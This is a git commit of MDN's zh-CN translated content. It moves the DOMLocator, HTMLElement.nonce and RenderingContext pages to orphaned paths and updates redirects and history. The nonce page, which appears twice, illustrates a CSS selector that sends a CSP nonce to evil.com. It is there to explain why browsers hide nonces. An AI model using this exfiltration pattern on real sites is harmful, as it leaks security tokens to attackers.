From 751e4b6115b0d8f30a147dcba95a3e21445ba4de Mon Sep 17 00:00:00 2001 From: MDN Date: Wed, 7 Jul 2021 00:36:00 +0000 Subject: [CRON] sync translated content --- files/zh-cn/_redirects.txt | 5 +- files/zh-cn/_wikihistory.json | 38 +++++++------- files/zh-cn/orphaned/web/api/domlocator/index.html | 51 +++++++++++++++++++ .../web/api/htmlorforeignelement/nonce/index.html | 59 ++++++++++++++++++++++ .../orphaned/web/api/renderingcontext/index.html | 30 +++++++++++ files/zh-cn/web/api/domlocator/index.html | 50 ------------------ .../web/api/htmlorforeignelement/nonce/index.html | 59 ---------------------- files/zh-cn/web/api/renderingcontext/index.html | 29 ----------- 8 files changed, 163 insertions(+), 158 deletions(-) create mode 100644 files/zh-cn/orphaned/web/api/domlocator/index.html create mode 100644 files/zh-cn/orphaned/web/api/htmlorforeignelement/nonce/index.html create mode 100644 files/zh-cn/orphaned/web/api/renderingcontext/index.html delete mode 100644 files/zh-cn/web/api/domlocator/index.html delete mode 100644 files/zh-cn/web/api/htmlorforeignelement/nonce/index.html delete mode 100644 files/zh-cn/web/api/renderingcontext/index.html (limited to 'files/zh-cn') diff --git a/files/zh-cn/_redirects.txt b/files/zh-cn/_redirects.txt index 4885ad6922..c778b9b554 100644 --- a/files/zh-cn/_redirects.txt +++ b/files/zh-cn/_redirects.txt @@ -1488,6 +1488,7 @@ /zh-CN/docs/Web/API/Coordinates/latitude /zh-CN/docs/Web/API/GeolocationCoordinates/latitude /zh-CN/docs/Web/API/DOMImplementation.createHTMLDocument /zh-CN/docs/Web/API/DOMImplementation/createHTMLDocument /zh-CN/docs/Web/API/DOMImplementation.hasFeature /zh-CN/docs/Web/API/DOMImplementation/hasFeature +/zh-CN/docs/Web/API/DOMLocator /zh-CN/docs/orphaned/Web/API/DOMLocator /zh-CN/docs/Web/API/Detecting_device_orientation /zh-CN/docs/orphaned/Web/API/Detecting_device_orientation /zh-CN/docs/Web/API/DeviceAcceleration /zh-CN/docs/Web/API/DeviceMotionEventAcceleration /zh-CN/docs/Web/API/DeviceLightEvent /zh-CN/docs/orphaned/Web/API/DeviceLightEvent @@ -1638,7 +1639,7 @@ /zh-CN/docs/Web/API/HTMLElement/dataset /zh-CN/docs/orphaned/Web/API/HTMLOrForeignElement/dataset /zh-CN/docs/Web/API/HTMLElement/focus /zh-CN/docs/Web/API/HTMLOrForeignElement/focus /zh-CN/docs/Web/API/HTMLElement/forceSpellCheck /zh-CN/docs/orphaned/Web/API/HTMLElement/forceSpellCheck -/zh-CN/docs/Web/API/HTMLElement/nonce /zh-CN/docs/Web/API/HTMLOrForeignElement/nonce +/zh-CN/docs/Web/API/HTMLElement/nonce /zh-CN/docs/orphaned/Web/API/HTMLOrForeignElement/nonce /zh-CN/docs/Web/API/HTMLElement/style /zh-CN/docs/orphaned/Web/API/ElementCSSInlineStyle/style /zh-CN/docs/Web/API/HTMLElement/tabIndex /zh-CN/docs/orphaned/Web/API/HTMLOrForeignElement/tabIndex /zh-CN/docs/Web/API/HTMLFormElement.elements /zh-CN/docs/Web/API/HTMLFormElement/elements @@ -1656,6 +1657,7 @@ /zh-CN/docs/Web/API/HTMLInputElement.mozSetFileNameArray /zh-CN/docs/conflicting/Web/API/HTMLInputElement /zh-CN/docs/Web/API/HTMLInputElement/mozSetFileNameArray /zh-CN/docs/conflicting/Web/API/HTMLInputElement /zh-CN/docs/Web/API/HTMLOrForeignElement/dataset /zh-CN/docs/orphaned/Web/API/HTMLOrForeignElement/dataset +/zh-CN/docs/Web/API/HTMLOrForeignElement/nonce /zh-CN/docs/orphaned/Web/API/HTMLOrForeignElement/nonce /zh-CN/docs/Web/API/HTMLOrForeignElement/tabIndex /zh-CN/docs/orphaned/Web/API/HTMLOrForeignElement/tabIndex /zh-CN/docs/Web/API/HTMLTableElement.deleteTHead /zh-CN/docs/Web/API/HTMLTableElement/deleteTHead /zh-CN/docs/Web/API/IDBCursor.direction /zh-CN/docs/Web/API/IDBCursor/direction @@ -1774,6 +1776,7 @@ /zh-CN/docs/Web/API/RTCPeerConnection/getDefaultIceServers /zh-CN/docs/orphaned/Web/API/RTCPeerConnection/getDefaultIceServers /zh-CN/docs/Web/API/RandomSource /zh-CN/docs/conflicting/Web/API/Crypto/getRandomValues /zh-CN/docs/Web/API/RandomSource/getRandomValues /zh-CN/docs/Web/API/Crypto/getRandomValues +/zh-CN/docs/Web/API/RenderingContext /zh-CN/docs/orphaned/Web/API/RenderingContext /zh-CN/docs/Web/API/Request/context /zh-CN/docs/orphaned/Web/API/Request/context /zh-CN/docs/Web/API/Response/克隆 /zh-CN/docs/Web/API/Response/clone /zh-CN/docs/Web/API/SVGPathElement/getTotalLength /zh-CN/docs/Web/API/SVGGeometryElement/getTotalLength diff --git a/files/zh-cn/_wikihistory.json b/files/zh-cn/_wikihistory.json index 1dc9b64d00..31bcc5648d 100644 --- a/files/zh-cn/_wikihistory.json +++ b/files/zh-cn/_wikihistory.json @@ -10205,12 +10205,6 @@ "ziyunfei" ] }, - "Web/API/DOMLocator": { - "modified": "2019-03-23T22:08:16.598Z", - "contributors": [ - "ResJay" - ] - }, "Web/API/DOMMatrix": { "modified": "2019-03-23T22:20:29.136Z", "contributors": [ @@ -15700,13 +15694,6 @@ "ziyunfei" ] }, - "Web/API/HTMLOrForeignElement/nonce": { - "modified": "2020-12-05T03:41:17.381Z", - "contributors": [ - "hufeicom", - "chenqingyue" - ] - }, "Web/API/HTMLParagraphElement": { "modified": "2020-11-03T10:28:13.003Z", "contributors": [ @@ -19602,12 +19589,6 @@ "zhiyuanzmj" ] }, - "Web/API/RenderingContext": { - "modified": "2019-03-23T22:53:04.731Z", - "contributors": [ - "ice-i-snow" - ] - }, "Web/API/Request": { "modified": "2020-10-15T21:43:47.794Z", "contributors": [ @@ -49799,6 +49780,12 @@ "VictorDu" ] }, + "orphaned/Web/API/DOMLocator": { + "modified": "2019-03-23T22:08:16.598Z", + "contributors": [ + "ResJay" + ] + }, "orphaned/Web/API/Detecting_device_orientation": { "modified": "2020-10-15T21:21:28.912Z", "contributors": [ @@ -49911,6 +49898,13 @@ "ReyCG" ] }, + "orphaned/Web/API/HTMLOrForeignElement/nonce": { + "modified": "2020-12-05T03:41:17.381Z", + "contributors": [ + "hufeicom", + "chenqingyue" + ] + }, "orphaned/Web/API/HTMLOrForeignElement/tabIndex": { "modified": "2019-03-24T00:16:26.046Z", "contributors": [ @@ -50086,6 +50080,12 @@ "lauhua" ] }, + "orphaned/Web/API/RenderingContext": { + "modified": "2019-03-23T22:53:04.731Z", + "contributors": [ + "ice-i-snow" + ] + }, "orphaned/Web/API/Request/context": { "modified": "2020-10-15T22:30:43.048Z", "contributors": [ diff --git a/files/zh-cn/orphaned/web/api/domlocator/index.html b/files/zh-cn/orphaned/web/api/domlocator/index.html new file mode 100644 index 0000000000..36266f2b67 --- /dev/null +++ b/files/zh-cn/orphaned/web/api/domlocator/index.html @@ -0,0 +1,51 @@ +--- +title: DOMLocator +slug: orphaned/Web/API/DOMLocator +translation_of: Web/API/DOMLocator +original_slug: Web/API/DOMLocator +--- +

{{APIRef("DOM")}}{{obsolete_header}}

+ +
+

NOTE: This is not implemented in Mozilla

+
+ +

Indicates a location such as where an error occurred. Returned by DOMError.location.

+ +

Properties

+ +
+
{{domxref("DOMLocator.lineNumber")}} {{ReadOnlyInline}}
+
Returns a positiove integer or -1.
+
{{domxref("DOMLocator.columnNumber")}}  {{ReadOnlyInline}}
+
Returns a positiove integer or -1.
+
{{domxref("DOMLocator.byteOffset")}} {{ReadOnlyInline}}
+
Returns a positiove integer or -1.
+
{{domxref("DOMLocator.utf16Offset")}} {{ReadOnlyInline}}
+
Returns a positiove integer or -1.
+
{{domxref("DOMLocator.relatedNode")}} {{ReadOnlyInline}}
+
Returns a positiove integer or -1.
+
{{domxref("DOMLocator.uri")}} {{ReadOnlyInline}}
+
Returns a positiove integer or -1.
+
+ +

Methods

+ +

This interface neither implements, nor inherits, any method.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM3 Core", "core.html#Interfaces-DOMLocator", "DOMLocator")}}{{Spec2("DOM3 Core")}}Initial definition
diff --git a/files/zh-cn/orphaned/web/api/htmlorforeignelement/nonce/index.html b/files/zh-cn/orphaned/web/api/htmlorforeignelement/nonce/index.html new file mode 100644 index 0000000000..9b3c39fbd4 --- /dev/null +++ b/files/zh-cn/orphaned/web/api/htmlorforeignelement/nonce/index.html @@ -0,0 +1,59 @@ +--- +title: HTMLElement.nonce +slug: orphaned/Web/API/HTMLOrForeignElement/nonce +tags: + - API + - nonce + - 内容安全策略 + - 实验性 + - 属性 +translation_of: Web/API/HTMLOrForeignElement/nonce +original_slug: Web/API/HTMLOrForeignElement/nonce +--- +

{{SeeCompatTable}}{{APIRef("HTML DOM")}}

+ +

{{domxref("HTMLElement")}} 接口的 nonce 属性返回只使用一次的加密数字,被内容安全政策用来决定这次请求是否被允许处理。

+ +

在接下来的实现中,有nonce属性的元素只能在脚本中使用(不可以在其他渠道使用,比如css属性选择器)。

+ +

语法

+ +
var nonce = HTMLElement.nonce
+HTMLElement.nonce = nonce
+ +

访问nonce属性值

+ +

以前,并不是所有的浏览器都支持 nonce IDL属性,因此在实际应用场景中,尝试使用getAttribute 作为备选:

+ +
let nonce = script['nonce'] || script.getAttribute('nonce');
+ +

然而,最新的浏览器版本都隐藏了 nonce 值(返回一个空值)。IDL属(script['nonce'])成为唯一的访问方式。

+ +

隐藏Nonce是为了阻止攻击者通过某种机制提取出nonce值,比如下面这种方式:

+ +
script[nonce~=whatever] {
+  background: url("https://evil.com/nonce?whatever");
+}
+ +

说明

+ + + + + + + + + + + + + + +
说明状态注释
{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}{{Spec2('HTML WHATWG')}}初始定义
+ +

支持的浏览器

+ +
+

{{Compat("api.HTMLElement.nonce")}}

+
diff --git a/files/zh-cn/orphaned/web/api/renderingcontext/index.html b/files/zh-cn/orphaned/web/api/renderingcontext/index.html new file mode 100644 index 0000000000..9133b5fd7f --- /dev/null +++ b/files/zh-cn/orphaned/web/api/renderingcontext/index.html @@ -0,0 +1,30 @@ +--- +title: RenderingContext +slug: orphaned/Web/API/RenderingContext +translation_of: Web/API/RenderingContext +original_slug: Web/API/RenderingContext +--- +

{{APIRef("Canvas API")}}

+ +

RenderingContext 是一个辅助类型,描述下面任何一个渲染上下文:  {{domxref("CanvasRenderingContext2D")}}, {{domxref("WebGLRenderingContext")}} 或者 {{domxref("WebGL2RenderingContext")}} (继承自 WebGLRenderingContext)。

+ +

这是简化规范的辅助类型,它不是一个接口,也没有对象实现它。

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#renderingcontext", "RenderingContext")}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

 

diff --git a/files/zh-cn/web/api/domlocator/index.html b/files/zh-cn/web/api/domlocator/index.html deleted file mode 100644 index a92dedd3ab..0000000000 --- a/files/zh-cn/web/api/domlocator/index.html +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: DOMLocator -slug: Web/API/DOMLocator -translation_of: Web/API/DOMLocator ---- -

{{APIRef("DOM")}}{{obsolete_header}}

- -
-

NOTE: This is not implemented in Mozilla

-
- -

Indicates a location such as where an error occurred. Returned by DOMError.location.

- -

Properties

- -
-
{{domxref("DOMLocator.lineNumber")}} {{ReadOnlyInline}}
-
Returns a positiove integer or -1.
-
{{domxref("DOMLocator.columnNumber")}}  {{ReadOnlyInline}}
-
Returns a positiove integer or -1.
-
{{domxref("DOMLocator.byteOffset")}} {{ReadOnlyInline}}
-
Returns a positiove integer or -1.
-
{{domxref("DOMLocator.utf16Offset")}} {{ReadOnlyInline}}
-
Returns a positiove integer or -1.
-
{{domxref("DOMLocator.relatedNode")}} {{ReadOnlyInline}}
-
Returns a positiove integer or -1.
-
{{domxref("DOMLocator.uri")}} {{ReadOnlyInline}}
-
Returns a positiove integer or -1.
-
- -

Methods

- -

This interface neither implements, nor inherits, any method.

- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName("DOM3 Core", "core.html#Interfaces-DOMLocator", "DOMLocator")}}{{Spec2("DOM3 Core")}}Initial definition
diff --git a/files/zh-cn/web/api/htmlorforeignelement/nonce/index.html b/files/zh-cn/web/api/htmlorforeignelement/nonce/index.html deleted file mode 100644 index 39181c40d7..0000000000 --- a/files/zh-cn/web/api/htmlorforeignelement/nonce/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: HTMLElement.nonce -slug: Web/API/HTMLOrForeignElement/nonce -tags: - - API - - nonce - - 内容安全策略 - - 实验性 - - 属性 -translation_of: Web/API/HTMLOrForeignElement/nonce -original_slug: Web/API/HTMLElement/nonce ---- -

{{SeeCompatTable}}{{APIRef("HTML DOM")}}

- -

{{domxref("HTMLElement")}} 接口的 nonce 属性返回只使用一次的加密数字,被内容安全政策用来决定这次请求是否被允许处理。

- -

在接下来的实现中,有nonce属性的元素只能在脚本中使用(不可以在其他渠道使用,比如css属性选择器)。

- -

语法

- -
var nonce = HTMLElement.nonce
-HTMLElement.nonce = nonce
- -

访问nonce属性值

- -

以前,并不是所有的浏览器都支持 nonce IDL属性,因此在实际应用场景中,尝试使用getAttribute 作为备选:

- -
let nonce = script['nonce'] || script.getAttribute('nonce');
- -

然而,最新的浏览器版本都隐藏了 nonce 值(返回一个空值)。IDL属(script['nonce'])成为唯一的访问方式。

- -

隐藏Nonce是为了阻止攻击者通过某种机制提取出nonce值,比如下面这种方式:

- -
script[nonce~=whatever] {
-  background: url("https://evil.com/nonce?whatever");
-}
- -

说明

- - - - - - - - - - - - - - -
说明状态注释
{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}{{Spec2('HTML WHATWG')}}初始定义
- -

支持的浏览器

- -
-

{{Compat("api.HTMLElement.nonce")}}

-
diff --git a/files/zh-cn/web/api/renderingcontext/index.html b/files/zh-cn/web/api/renderingcontext/index.html deleted file mode 100644 index 00b7a39db8..0000000000 --- a/files/zh-cn/web/api/renderingcontext/index.html +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: RenderingContext -slug: Web/API/RenderingContext -translation_of: Web/API/RenderingContext ---- -

{{APIRef("Canvas API")}}

- -

RenderingContext 是一个辅助类型,描述下面任何一个渲染上下文:  {{domxref("CanvasRenderingContext2D")}}, {{domxref("WebGLRenderingContext")}} 或者 {{domxref("WebGL2RenderingContext")}} (继承自 WebGLRenderingContext)。

- -

这是简化规范的辅助类型,它不是一个接口,也没有对象实现它。

- -

规范描述

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#renderingcontext", "RenderingContext")}}{{Spec2('HTML WHATWG')}}Initial definition.
- -

 

-- cgit v1.2.3-54-g00ecf